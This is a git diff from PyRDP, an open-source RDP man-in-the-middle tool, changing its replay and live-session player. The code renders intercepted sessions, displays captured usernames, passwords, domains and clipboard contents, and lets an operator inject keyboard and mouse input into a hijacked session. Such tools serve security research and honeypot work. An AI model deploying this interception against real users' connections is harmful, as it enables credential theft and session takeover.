self.viewer.setMousePosition(x, y) + + + def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): + """ + Handle scan code. + """ + keyName = keyboard.getKeyName(scanCode, isExtended, self.shiftPressed, self.capsLockOn) + + if len(keyName) == 1: + if not isReleased: + self.writeText(keyName) + else: + self.writeText(f"\n<{keyName} {'released' if isReleased else 'pressed'}>") + + # Left or right shift + if scanCode in [0x2A, 0x36]: + self.shiftPressed = not isReleased + + # Caps lock + elif scanCode == 0x3A and not isReleased: + self.capsLockOn = not self.capsLockOn + + + def handleBitmap(self, bitmapData: BitmapUpdateData): + image = RDPBitmapToQtImage( + bitmapData.width, + bitmapData.heigth, + bitmapData.bitsPerPixel, + bitmapData.flags & BitmapFlags.BITMAP_COMPRESSION != 0, + bitmapData.bitmapData + ) + + self.viewer.notifyImage( + bitmapData.destLeft, + bitmapData.destTop, + image, + bitmapData.destRight - bitmapData.destLeft + 1, + bitmapData.destBottom - bitmapData.destTop + 1) + + + def onDeviceMapping(self, pdu: PlayerDeviceMappingPDU): + self.writeText(f"\n<{DeviceType.getPrettyName(pdu.deviceType)} mapped: {pdu.name}>") \ No newline at end of file diff --git a/pyrdp/player/PlayerMessageHandler.py b/pyrdp/player/PlayerMessageHandler.py deleted file mode 100644 index 5e4ddcb71..000000000 --- a/pyrdp/player/PlayerMessageHandler.py +++ /dev/null @@ -1,172 +0,0 @@ -# -# This file is part of the PyRDP project. -# Copyright (C) 2018 GoSecure Inc. -# Licensed under the GPLv3 or later. -# - -from typing import Optional, Union - -from PySide2.QtGui import QTextCursor - -from pyrdp.core import decodeUTF16LE -from pyrdp.core.scancode import scancodeToChar -from pyrdp.enum import BitmapFlags, CapabilityType, FastPathFragmentation, KeyboardFlag, ParserMode, SlowPathUpdateType -from pyrdp.layer import PlayerMessageObserver -from pyrdp.logging import log -from pyrdp.parser import BasicFastPathParser, BitmapParser, ClientInfoParser, ClipboardParser, FastPathOutputParser, \ - SlowPathParser -from pyrdp.parser.rdp.connection import ClientConnectionParser -from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOrdersEvent, \ - FastPathScanCodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, MouseEvent, PlayerMessagePDU, UpdatePDU -from pyrdp.pdu.rdp.fastpath import FastPathOutputEvent -from pyrdp.ui import RDPBitmapToQtImage - - -class PlayerMessageHandler(PlayerMessageObserver): - """ - Class to manage the display of the RDP player when reading events. - """ - - def __init__(self, viewer, text): - super().__init__() - self.viewer = viewer - self.text = text - self.writeInCaps = False - - self.inputParser = BasicFastPathParser(ParserMode.SERVER) - self.outputParser = BasicFastPathParser(ParserMode.CLIENT) - self.clientInfoParser = ClientInfoParser() - self.dataParser = SlowPathParser() - self.clipboardParser = ClipboardParser() - self.outputEventParser = FastPathOutputParser() - self.clientConnectionParser = ClientConnectionParser() - - self.buffer = b"" - - def onConnectionClose(self, pdu: PlayerMessagePDU): - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("\n") - - def onOutput(self, pdu: PlayerMessagePDU): - pdu = self.outputParser.parse(pdu.payload) - - for event in pdu.events: - reassembledEvent = self.reassembleEvent(event) - if reassembledEvent is not None: - if isinstance(reassembledEvent, FastPathOrdersEvent): - log.debug("Not handling orders event, not coded :)") - elif isinstance(reassembledEvent, FastPathBitmapEvent): - log.debug("Handling bitmap event %(arg1)s", {"arg1": type(reassembledEvent)}) - self.onBitmap(reassembledEvent) - else: - log.debug("Can't handle output event: %(arg1)s", {"arg1": type(reassembledEvent)}) - else: - log.debug("Reassembling output event...") - - def onInput(self, pdu: PlayerMessagePDU): - pdu = self.inputParser.parse(pdu.payload) - - for event in pdu.events: - if isinstance(event, FastPathScanCodeEvent): - log.debug("handling %(arg1)s", {"arg1": event}) - self.onScanCode(event.scancode, not event.isReleased) - elif isinstance(event, FastPathMouseEvent): - self.onMousePosition(event.mouseX, event.mouseY) - else: - log.debug("Can't handle input event: %(arg1)s", {"arg1": event}) - - def onScanCode(self, code: int, isPressed: bool): - """ - Handle scan code. - """ - log.debug("Reading scancode %(arg1)s", {"arg1": code}) - - if code in [0x2A, 0x36]: - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("\n" if isPressed else "\n") - self.writeInCaps = not self.writeInCaps - elif code == 0x3A and isPressed: - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("\n") - self.writeInCaps = not self.writeInCaps - elif isPressed: - char = scancodeToChar(code) - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText(char if self.writeInCaps else char.lower()) - - def onMousePosition(self, x: int, y: int): - self.viewer.setMousePosition(x, y) - - def onBitmap(self, event: FastPathBitmapEvent): - parsedEvent = self.outputEventParser.parseBitmapEvent(event) - for bitmapData in parsedEvent.bitmapUpdateData: - self.handleBitmap(bitmapData) - - def handleBitmap(self, bitmapData: BitmapUpdateData): - image = RDPBitmapToQtImage(bitmapData.width, bitmapData.heigth, bitmapData.bitsPerPixel, bitmapData.flags & BitmapFlags.BITMAP_COMPRESSION != 0, bitmapData.bitmapData) - self.viewer.notifyImage(bitmapData.destLeft, bitmapData.destTop, image, - bitmapData.destRight - bitmapData.destLeft + 1, - bitmapData.destBottom - bitmapData.destTop + 1) - - def onClientInfo(self, pdu: PlayerMessagePDU): - clientInfoPDU = self.clientInfoParser.parse(pdu.payload) - self.text.insertPlainText("USERNAME: {}\nPASSWORD: {}\nDOMAIN: {}\n" - .format(clientInfoPDU.username.replace("\0", ""), - clientInfoPDU.password.replace("\0", ""), - clientInfoPDU.domain.replace("\0", ""))) - self.text.insertPlainText("--------------------\n") - - def onSlowPathPDU(self, pdu: PlayerMessagePDU): - pdu = self.dataParser.parse(pdu.payload) - - if isinstance(pdu, ConfirmActivePDU): - self.viewer.resize(pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAP].desktopWidth, - pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAP].desktopHeight) - elif isinstance(pdu, UpdatePDU) and pdu.updateType == SlowPathUpdateType.SLOWPATH_UPDATETYPE_BITMAP: - updates = BitmapParser().parseBitmapUpdateData(pdu.updateData) - for bitmap in updates: - self.handleBitmap(bitmap) - elif isinstance(pdu, InputPDU): - for event in pdu.events: - if isinstance(event, MouseEvent): - self.onMousePosition(event.x, event.y) - elif isinstance(event, KeyboardEvent): - self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN != 0) - - def onClipboardData(self, pdu: PlayerMessagePDU): - formatDataResponsePDU: FormatDataResponsePDU = self.clipboardParser.parse(pdu.payload) - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("\n=============\n") - self.text.insertPlainText("CLIPBOARD DATA: {}".format(decodeUTF16LE(formatDataResponsePDU.requestedFormatData))) - self.text.insertPlainText("\n=============\n") - - def onClientData(self, pdu: PlayerMessagePDU): - """ - Prints the clientName on the screen - """ - clientDataPDU = self.clientConnectionParser.parse(pdu.payload) - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("--------------------\n") - self.text.insertPlainText(f"HOST: {clientDataPDU.coreData.clientName.strip(chr(0))}\n") - - def reassembleEvent(self, event: FastPathOutputEvent) -> Optional[Union[FastPathBitmapEvent, FastPathOutputEvent]]: - """ - Handles FastPath event reassembly as described in - https://msdn.microsoft.com/en-us/library/cc240622.aspx - :param event: A potentially segmented fastpath output event - :return: a FastPathBitmapEvent if a complete PDU has been reassembled, otherwise None. If the event is not - fragmented, returns the original event. - """ - fragmentationFlag = FastPathFragmentation((event.header & 0b00110000) >> 4) - if fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_SINGLE: - return event - elif fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_FIRST: - self.buffer = event.payload - elif fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_NEXT: - self.buffer += event.payload - elif fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_LAST: - self.buffer += event.payload - event.payload = self.buffer - return self.outputEventParser.parseBitmapEvent(event) - - return None diff --git a/pyrdp/player/QTimerSequencer.py b/pyrdp/player/QTimerSequencer.py new file mode 100644 index 000000000..4cbceebeb --- /dev/null +++ b/pyrdp/player/QTimerSequencer.py @@ -0,0 +1,18 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from PySide2.QtCore import QTimer + +from pyrdp.core import Sequencer + + +class QTimerSequencer(Sequencer): + """ + Sequencer that uses QTimer to wait between calls. + """ + + def wait(self, waitTime: int): + QTimer.singleShot(waitTime, self.run) \ No newline at end of file diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py new file mode 100644 index 000000000..ec9a4ce9a --- /dev/null +++ b/pyrdp/player/RDPMITMWidget.py @@ -0,0 +1,200 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import functools +import logging +import platform +import time +from typing import Optional, Union + +from PySide2.QtCore import QEvent, QObject, Qt +from PySide2.QtGui import QKeyEvent, QMouseEvent, QWheelEvent +from PySide2.QtWidgets import QWidget + +from pyrdp.enum import MouseButton +from pyrdp.layer import PlayerLayer +from pyrdp.logging import LOGGER_NAMES +from pyrdp.pdu import PlayerBitmapPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ + PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerTextPDU +from pyrdp.player import keyboard +from pyrdp.player.keyboard import isRightControl +from pyrdp.player.QTimerSequencer import QTimerSequencer +from pyrdp.ui import QRemoteDesktop + + +class RDPMITMWidget(QRemoteDesktop): + """ + RDP Widget that handles mouse and keyboard events and sends them to the MITM server. + """ + + KEY_SEQUENCE_DELAY = 0 + + def __init__(self, width: int, height: int, layer: PlayerLayer, parent: Optional[QWidget] = None): + super().__init__(width, height, parent = parent) + self.layer = layer + self.handleEvents = False + self.log = logging.getLogger(LOGGER_NAMES.PLAYER) + self.setFocusPolicy(Qt.FocusPolicy.ClickFocus) + self.installEventFilter(self) + + + def getTimetamp(self) -> int: + return int(round(time.time() * 1000)) + + + def getMousePosition(self, event: Union[QMouseEvent, QWheelEvent]) -> (int, int): + return max(event.x(), 0), max(event.y(), 0) + + def mouseMoveEvent(self, event: QMouseEvent): + if not self.handleEvents or not self.hasFocus(): + return + + x, y = self.getMousePosition(event) + + pdu = PlayerMouseMovePDU(self.layer.getCurrentTimeStamp(), x, y) + self.layer.sendPDU(pdu) + + def mousePressEvent(self, event: QMouseEvent): + if self.handleEvents: + self.handleMouseButton(event, True) + + def mouseReleaseEvent(self, event: QMouseEvent): + if self.handleEvents: + self.handleMouseButton(event, False) + + def handleMouseButton(self, event: QMouseEvent, pressed: bool): + x, y = self.getMousePosition(event) + button = event.button() + + mapping = { + Qt.MouseButton.LeftButton: MouseButton.LEFT_BUTTON, + Qt.MouseButton.RightButton: MouseButton.RIGHT_BUTTON, + Qt.MouseButton.MiddleButton: MouseButton.MIDDLE_BUTTON, + } + + if button not in mapping: + return + + pdu = PlayerMouseButtonPDU(self.layer.getCurrentTimeStamp(), x, y, mapping[button], pressed) + self.layer.sendPDU(pdu) + + + def wheelEvent(self, event: QWheelEvent): + if not self.handleEvents: + return + + x, y = self.getMousePosition(event) + delta = event.delta() + horizontal = event.orientation() == Qt.Orientation.Horizontal + + event.setAccepted(True) + + pdu = PlayerMouseWheelPDU(self.layer.getCurrentTimeStamp(), x, y, delta, horizontal) + self.layer.sendPDU(pdu) + + + # We need this to capture tab key events + def eventFilter(self, obj: QObject, event: QEvent) -> bool: + if self.handleEvents and event.type() == QEvent.KeyPress: + self.keyPressEvent(event) + return True + + return QObject.eventFilter(self, obj, event) + + + def keyPressEvent(self, event: QKeyEvent): + if not isRightControl(event): + if self.handleEvents: + self.handleKeyEvent(event, False) + else: + self.clearFocus() + + def keyReleaseEvent(self, event: QKeyEvent): + if self.handleEvents: + self.handleKeyEvent(event, True) + + def handleKeyEvent(self, event: QKeyEvent, released: bool): + # After some testing, it seems like scan codes on Linux are 8 higher than their Windows version. + if platform.system() == "Linux": + offset = -8 + else: + offset = 0 + + scanCode = keyboard.findScanCodeForEvent(event) or event.nativeScanCode() + offset + pdu = PlayerKeyboardPDU(self.layer.getCurrentTimeStamp(), scanCode, released, event.key() in keyboard.EXTENDED_KEYS) + self.layer.sendPDU(pdu) + + + def sendKeySequence(self, keys: [Qt.Key]): + self.setFocus() + + pressPDUs = [] + releasePDUs = [] + + for key in keys: + scanCode = keyboard.SCANCODE_MAPPING[key] + isExtended = key in keyboard.EXTENDED_KEYS + + pressPDU = PlayerKeyboardPDU(self.layer.getCurrentTimeStamp(), scanCode, False, isExtended) + pressPDUs.append(pressPDU) + + releasePDU = PlayerKeyboardPDU(self.layer.getCurrentTimeStamp(), scanCode, True, isExtended) + releasePDUs.append(releasePDU) + + def press() -> int: + for pdu in pressPDUs: + self.layer.sendPDU(pdu) + + return RDPMITMWidget.KEY_SEQUENCE_DELAY + + def release(): + for pdu in releasePDUs: + self.layer.sendPDU(pdu) + + sequencer = QTimerSequencer([press, release]) + sequencer.run() + + + def sendText(self, text: str): + self.setFocus() + + functions = [] + + def pressCharacter(character: str) -> int: + pdu = PlayerTextPDU(self.layer.getCurrentTimeStamp(), character, False) + print(c) + self.layer.sendPDU(pdu) + return RDPMITMWidget.KEY_SEQUENCE_DELAY + + def releaseCharacter(character: str): + pdu = PlayerTextPDU(self.layer.getCurrentTimeStamp(), character, True) + self.layer.sendPDU(pdu) + + for c in text: + press = functools.partial(pressCharacter, c) + release = functools.partial(releaseCharacter, c) + functions.append(press) + functions.append(release) + + sequencer = QTimerSequencer(functions) + sequencer.run() + + + def setControlState(self, controlled: bool): + self.handleEvents = controlled + self.setForwardingState(not controlled) + + if not controlled: + self.sendCurrentScreen() + + def setForwardingState(self, shouldForward: bool): + self.layer.sendPDU(PlayerForwardingStatePDU(self.layer.getCurrentTimeStamp(), shouldForward, shouldForward)) + + def sendCurrentScreen(self): + width = self._buffer.width() + height = self._buffer.height() + pdu = PlayerBitmapPDU(self.layer.getCurrentTimeStamp(), width, height, self._buffer.bits()) + self.layer.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/player/Replay.py b/pyrdp/player/Replay.py index b169e647b..1c9d6e429 100644 --- a/pyrdp/player/Replay.py +++ b/pyrdp/player/Replay.py @@ -1,9 +1,15 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import os from collections import defaultdict from typing import BinaryIO, Dict, List -from pyrdp.layer import PlayerMessageLayer -from pyrdp.pdu import PlayerMessagePDU +from pyrdp.layer import PlayerLayer +from pyrdp.pdu import PlayerPDU class Replay: @@ -27,11 +33,11 @@ def __init__(self, file: BinaryIO): file.seek(0) # Register PDUs as they are parsed by the layer - def registerEvent(pdu: PlayerMessagePDU): + def registerEvent(pdu: PlayerPDU): events[pdu.timestamp].append(currentMessagePosition) # The layer will take care of parsing for us - player = PlayerMessageLayer() + player = PlayerLayer() player.createObserver(onPDUReceived = registerEvent) # Parse all events in the file diff --git a/pyrdp/player/ReplayTab.py b/pyrdp/player/ReplayTab.py index 07ab39d33..31e289001 100644 --- a/pyrdp/player/ReplayTab.py +++ b/pyrdp/player/ReplayTab.py @@ -1,10 +1,16 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from PySide2.QtWidgets import QApplication, QWidget -from pyrdp.layer import PlayerMessageLayer -from pyrdp.player.ReplayBar import ReplayBar -from pyrdp.player.PlayerMessageHandler import PlayerMessageHandler +from pyrdp.layer import PlayerLayer from pyrdp.player.BaseTab import BaseTab +from pyrdp.player.PlayerEventHandler import PlayerEventHandler from pyrdp.player.Replay import Replay +from pyrdp.player.ReplayBar import ReplayBar from pyrdp.player.ReplayThread import ReplayThread from pyrdp.ui import QRemoteDesktop @@ -19,13 +25,13 @@ def __init__(self, fileName: str, parent: QWidget = None): :param fileName: name of the file to read. :param parent: parent widget. """ - self.viewer = QRemoteDesktop(800, 600) + self.viewer = QRemoteDesktop(800, 600, parent) super().__init__(self.viewer, parent) QApplication.instance().aboutToQuit.connect(self.onClose) self.fileName = fileName self.file = open(self.fileName, "rb") - self.eventHandler = PlayerMessageHandler(self.widget, self.text) + self.eventHandler = PlayerEventHandler(self.widget, self.text) replay = Replay(self.file) self.thread = ReplayThread(replay) @@ -39,10 +45,11 @@ def __init__(self, fileName: str, parent: QWidget = None): self.controlBar.pause.connect(self.thread.pause) self.controlBar.seek.connect(self.thread.seek) self.controlBar.speedChanged.connect(self.thread.setSpeed) + self.controlBar.button.setDefault(True) - self.layout().insertWidget(0, self.controlBar) + self.tabLayout.insertWidget(0, self.controlBar) - self.player = PlayerMessageLayer() + self.player = PlayerLayer() self.player.addObserver(self.eventHandler) def readEvent(self, position: int): diff --git a/pyrdp/player/ReplayWindow.py b/pyrdp/player/ReplayWindow.py index 94f48c6d7..4899a12cc 100644 --- a/pyrdp/player/ReplayWindow.py +++ b/pyrdp/player/ReplayWindow.py @@ -1,4 +1,11 @@ -from PySide2.QtWidgets import QWidget +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from PySide2.QtGui import QKeySequence +from PySide2.QtWidgets import QShortcut, QWidget from pyrdp.player.BaseWindow import BaseWindow from pyrdp.player.ReplayTab import ReplayTab @@ -11,6 +18,7 @@ class ReplayWindow(BaseWindow): def __init__(self, parent: QWidget = None): super().__init__(parent) + self.closeTabShortcut = QShortcut(QKeySequence("Ctrl+W"), self, self.closeCurrentTab) def openFile(self, fileName: str): """ @@ -19,4 +27,8 @@ def openFile(self, fileName: str): """ tab = ReplayTab(fileName) self.addTab(tab, fileName) - self.log.debug("Loading replay file %(arg1)s", {"arg1": fileName}) \ No newline at end of file + self.log.debug("Loading replay file %(arg1)s", {"arg1": fileName}) + + def closeCurrentTab(self): + if self.count() > 0: + self.onTabClosed(self.currentIndex()) \ No newline at end of file diff --git a/pyrdp/player/__init__.py b/pyrdp/player/__init__.py index 25ab24b32..784c81325 100644 --- a/pyrdp/player/__init__.py +++ b/pyrdp/player/__init__.py @@ -10,7 +10,8 @@ from pyrdp.player.LiveThread import LiveThread from pyrdp.player.LiveWindow import LiveWindow from pyrdp.player.MainWindow import MainWindow -from pyrdp.player.PlayerMessageHandler import PlayerMessageHandler +from pyrdp.player.PlayerEventHandler import PlayerEventHandler +from pyrdp.player.QTimerSequencer import QTimerSequencer from pyrdp.player.Replay import Replay from pyrdp.player.ReplayBar import ReplayBar from pyrdp.player.ReplayTab import ReplayTab diff --git a/pyrdp/player/filesystem.py b/pyrdp/player/filesystem.py new file mode 100644 index 000000000..d25a48890 --- /dev/null +++ b/pyrdp/player/filesystem.py @@ -0,0 +1,142 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from enum import IntEnum +from pathlib import PosixPath +from typing import List + +from pyrdp.core import ObservedBy, Observer, Subject + + +class FileSystemItemType(IntEnum): + Directory = 1 + Drive = 2 + File = 3 + + +class FileSystemItem: + def __init__(self, name: str, itemType: FileSystemItemType): + super().__init__() + self.name = name + self.type = itemType + + def getFullPath(self, name: str = "") -> str: + pass + + +class DirectoryObserver(Observer): + def onDirectoryChanged(self): + pass + + def onListDirectory(self, deviceID: int, path: str): + pass + +@ObservedBy(DirectoryObserver) +class Directory(FileSystemItem, Subject): + def __init__(self, name: str, parent: 'Directory' = None): + super().__init__(name, FileSystemItemType.Directory) + self.parent = parent + self.files: List[File] = [] + self.directories: List[Directory] = [] + + def addFile(self, name: str): + file = File(name, self) + self.files.append(file) + + self.observer.onDirectoryChanged() + + return file + + def addDirectory(self, name: str): + directory = Directory(name, self) + self.directories.append(directory) + + self.observer.onDirectoryChanged() + + return directory + + def list(self, name: str = ""): + if name == "": + self.files.clear() + self.directories.clear() + + path = self.getFullPath(name) + self.parent.list(str(path)) + + def getFullPath(self, name: str = "") -> str: + path = PosixPath(self.name) + + if name != "": + path /= name + + path = str(path) + + if self.parent is None: + return path + else: + return self.parent.getFullPath(path) + + +class File(FileSystemItem): + def __init__(self, name: str, parent: Directory): + super().__init__(name, FileSystemItemType.File) + self.parent = parent + + def getFullPath(self, name: str = "") -> str: + path = PosixPath(self.name) + + if name != "": + path /= name + + path = str(path) + + if self.parent is None: + return path + else: + return self.parent.getFullPath(path) + + +class Drive(Directory): + def __init__(self, name: str, deviceID: int): + super().__init__(name, None) + self.type = FileSystemItemType.Drive + self.deviceID = deviceID + + def list(self, name: str = ""): + path = "/" + + if name != "": + path += name + else: + self.files.clear() + self.directories.clear() + + self.observer.onListDirectory(self.deviceID, path) + + def getFullPath(self, name: str = "") -> str: + path = PosixPath("/") + + if name != "": + path /= name + + return str(path) + + +@ObservedBy(DirectoryObserver) +class FileSystem(Directory): + def __init__(self): + super().__init__("") + + def addDrive(self, name: str, deviceID: int) -> Drive: + drive = Drive(name, deviceID) + self.directories.append(drive) + + self.observer.onDirectoryChanged() + + return drive + + def list(self, name: str = ""): + pass \ No newline at end of file diff --git a/pyrdp/player/keyboard.py b/pyrdp/player/keyboard.py new file mode 100644 index 000000000..053d87837 --- /dev/null +++ b/pyrdp/player/keyboard.py @@ -0,0 +1,253 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from typing import Optional + +from PySide2.QtCore import Qt +from PySide2.QtGui import QKeyEvent + +SCANCODE_MAPPING = { + Qt.Key.Key_Escape: 0x01, + Qt.Key.Key_1: 0x02, + Qt.Key.Key_Exclam: 0x02, + Qt.Key.Key_2: 0x03, + Qt.Key.Key_At: 0x03, + Qt.Key.Key_3: 0x04, + Qt.Key.Key_NumberSign: 0x04, + Qt.Key.Key_4: 0x05, + Qt.Key.Key_Dollar: 0x05, + Qt.Key.Key_5: 0x06, + Qt.Key.Key_Percent: 0x06, + Qt.Key.Key_6: 0x07, + Qt.Key.Key_AsciiCircum: 0x07, + Qt.Key.Key_7: 0x08, + Qt.Key.Key_Ampersand: 0x08, + Qt.Key.Key_8: 0x09, + Qt.Key.Key_Asterisk: 0x09, + Qt.Key.Key_9: 0x0A, + Qt.Key.Key_ParenLeft: 0x0A, + Qt.Key.Key_0: 0x0B, + Qt.Key.Key_ParenRight: 0x0B, + Qt.Key.Key_Minus: 0x0C, + Qt.Key.Key_Underscore: 0x0C, + Qt.Key.Key_Equal: 0x0D, + Qt.Key.Key_Plus: 0x0D, + Qt.Key.Key_Backspace: 0x0E, + Qt.Key.Key_Tab: 0x0F, + Qt.Key.Key_Q: 0x10, + Qt.Key.Key_W: 0x11, + Qt.Key.Key_E: 0x12, + Qt.Key.Key_R: 0x13, + Qt.Key.Key_T: 0x14, + Qt.Key.Key_Y: 0x15, + Qt.Key.Key_U: 0x16, + Qt.Key.Key_I: 0x17, + Qt.Key.Key_O: 0x18, + Qt.Key.Key_P: 0x19, + Qt.Key.Key_BracketLeft: 0x1A, + Qt.Key.Key_BraceLeft: 0x1A, + Qt.Key.Key_BracketRight: 0x1B, + Qt.Key.Key_BraceRight: 0x1B, + Qt.Key.Key_Return: 0x1C, + Qt.Key.Key_Control: 0x1D, + Qt.Key.Key_A: 0x1E, + Qt.Key.Key_S: 0x1F, + Qt.Key.Key_D: 0x20, + Qt.Key.Key_F: 0x21, + Qt.Key.Key_G: 0x22, + Qt.Key.Key_H: 0x23, + Qt.Key.Key_J: 0x24, + Qt.Key.Key_K: 0x25, + Qt.Key.Key_L: 0x26, + Qt.Key.Key_Semicolon: 0x27, + Qt.Key.Key_Colon: 0x27, + Qt.Key.Key_Apostrophe: 0x28, + Qt.Key.Key_QuoteDbl: 0x28, + Qt.Key.Key_QuoteLeft: 0x29, + Qt.Key.Key_AsciiTilde: 0x29, + Qt.Key.Key_Shift: 0x2A, + Qt.Key.Key_Backslash: 0x2B, + Qt.Key.Key_Bar: 0x2B, + Qt.Key.Key_Z: 0x2C, + Qt.Key.Key_X: 0x2D, + Qt.Key.Key_C: 0x2E, + Qt.Key.Key_V: 0x2F, + Qt.Key.Key_B: 0x30, + Qt.Key.Key_N: 0x31, + Qt.Key.Key_M: 0x32, + Qt.Key.Key_Comma: 0x33, + Qt.Key.Key_Less: 0x33, + Qt.Key.Key_Period: 0x34, + Qt.Key.Key_Greater: 0x34, + Qt.Key.Key_Slash: 0x35, + Qt.Key.Key_Question: 0x35, + Qt.Key.Key_Alt: 0x38, + Qt.Key.Key_AltGr: 0x38, + Qt.Key.Key_Space: 0x39, + Qt.Key.Key_CapsLock: 0x3A, + Qt.Key.Key_F1: 0x3B, + Qt.Key.Key_F2: 0x3C, + Qt.Key.Key_F3: 0x3D, + Qt.Key.Key_F4: 0x3E, + Qt.Key.Key_F5: 0x3F, + Qt.Key.Key_F6: 0x40, + Qt.Key.Key_F7: 0x41, + Qt.Key.Key_F8: 0x42, + Qt.Key.Key_F9: 0x43, + Qt.Key.Key_F10: 0x44, + Qt.Key.Key_NumLock: 0x45, + Qt.Key.Key_ScrollLock: 0x46, + Qt.Key.Key_Home: 0x47, + Qt.Key.Key_Up: 0x48, + Qt.Key.Key_PageUp: 0x49, + Qt.Key.Key_Left: 0x4B, + Qt.Key.Key_Right: 0x4D, + Qt.Key.Key_End: 0x4F, + Qt.Key.Key_Down: 0x50, + Qt.Key.Key_PageDown: 0x51, + Qt.Key.Key_Insert: 0x52, + Qt.Key.Key_Delete: 0x53, + Qt.Key.Key_SysReq: 0x54, + Qt.Key.Key_F11: 0x57, + Qt.Key.Key_F12: 0x58, + Qt.Key.Key_Meta: 0x5B, + Qt.Key.Key_Menu: 0x5D, + Qt.Key.Key_Sleep: 0x5F, + Qt.Key.Key_Zoom: 0x62, + Qt.Key.Key_Help: 0x63, + Qt.Key.Key_F13: 0x64, + Qt.Key.Key_F14: 0x65, + Qt.Key.Key_F15: 0x66, + Qt.Key.Key_F16: 0x67, + Qt.Key.Key_F17: 0x68, + Qt.Key.Key_F18: 0x69, + Qt.Key.Key_F19: 0x6A, + Qt.Key.Key_F20: 0x6B, + Qt.Key.Key_F21: 0x6C, + Qt.Key.Key_F22: 0x6D, + Qt.Key.Key_F23: 0x6E, + Qt.Key.Key_F24: 0x6F, + Qt.Key.Key_Hiragana: 0x70, + Qt.Key.Key_Kanji: 0x71, + Qt.Key.Key_Hangul: 0x72, +} + +SCANCODE_MAPPING_NUMPAD = { + Qt.Key.Key_Enter: 0x1C, + Qt.Key.Key_Slash: 0x35, + Qt.Key.Key_Asterisk: 0x37, + Qt.Key.Key_7: 0x47, + Qt.Key.Key_8: 0x48, + Qt.Key.Key_9: 0x49, + Qt.Key.Key_Minus: 0x4A, + Qt.Key.Key_4: 0x4B, + Qt.Key.Key_5: 0x4C, + Qt.Key.Key_6: 0x4D, + Qt.Key.Key_Plus: 0x4E, + Qt.Key.Key_1: 0x4F, + Qt.Key.Key_2: 0x50, + Qt.Key.Key_3: 0x51, + Qt.Key.Key_0: 0x52, + Qt.Key.Key_Period: 0x53, + Qt.Key.Key_Meta: 0x5C, +} + +EXTENDED_KEYS = [ + Qt.Key.Key_Meta, + Qt.Key.Key_AltGr, + Qt.Key.Key_PageUp, + Qt.Key.Key_PageDown, + Qt.Key.Key_Insert, + Qt.Key.Key_Delete, + Qt.Key.Key_Home, + Qt.Key.Key_End, + Qt.Key.Key_Print, + Qt.Key.Key_Left, + Qt.Key.Key_Right, + Qt.Key.Key_Up, + Qt.Key.Key_Down, + Qt.Key.Key_Menu, +] + + +def findScanCodeForEvent(event: QKeyEvent) -> Optional[int]: + if event.modifiers() & Qt.KeypadModifier != 0: + mapping = SCANCODE_MAPPING_NUMPAD + else: + mapping = SCANCODE_MAPPING + + key = event.key() + return mapping.get(key, None) + + +def findKeyForScanCode(scanCode: int) -> Optional[Qt.Key]: + # Right shift + if scanCode == 0x36: + return Qt.Key.Key_Shift + + # Right Windows + elif scanCode == 0x5c: + return Qt.Key.Key_Meta + + for mapping in [SCANCODE_MAPPING, SCANCODE_MAPPING_NUMPAD]: + for k, v in mapping.items(): + if v == scanCode and k not in EXTENDED_KEYS: + return k + + return None + + +def getKeyName(scanCode: int, isExtended: bool, shiftPressed: bool, capsLockOn: bool) -> str: + if not isExtended: + key = findKeyForScanCode(scanCode) + elif scanCode == SCANCODE_MAPPING[Qt.Key.Key_Control]: + key = Qt.Key.Key_Control + # Numpad slash + elif scanCode == 0x35: + key = Qt.Key.Key_Slash + else: + key = None + + for extendedKey in EXTENDED_KEYS: + if extendedKey in SCANCODE_MAPPING and SCANCODE_MAPPING[extendedKey] == scanCode: + key = extendedKey + break + elif extendedKey in SCANCODE_MAPPING_NUMPAD and SCANCODE_MAPPING_NUMPAD[extendedKey] == scanCode: + key = extendedKey + break + + if key is None: + return f"Unknown scan code {hex(scanCode)}" + + if key < 0x1000000: + name = chr(key) + + if name.isalpha(): + return name.upper() if shiftPressed or capsLockOn else name.lower() + else: + key = shiftKey(key) if shiftPressed else key + return chr(key) + + elif key == Qt.Key.Key_Meta: + return "Windows" + + enumName = str(key) + return " ".join(enumName.split("_")[1 :]) + + +def shiftKey(key: Qt.Key) -> Qt.Key: + if key in SCANCODE_MAPPING: + code = SCANCODE_MAPPING[key] + + for k, v in SCANCODE_MAPPING.items(): + if v == code and k != key: + return k + + return key + + +def isRightControl(event: QKeyEvent) -> bool: + return event.key() == Qt.Key.Key_Control and event.nativeScanCode() > 50 \ No newline at end of file diff --git a/pyrdp/recording/observer.py 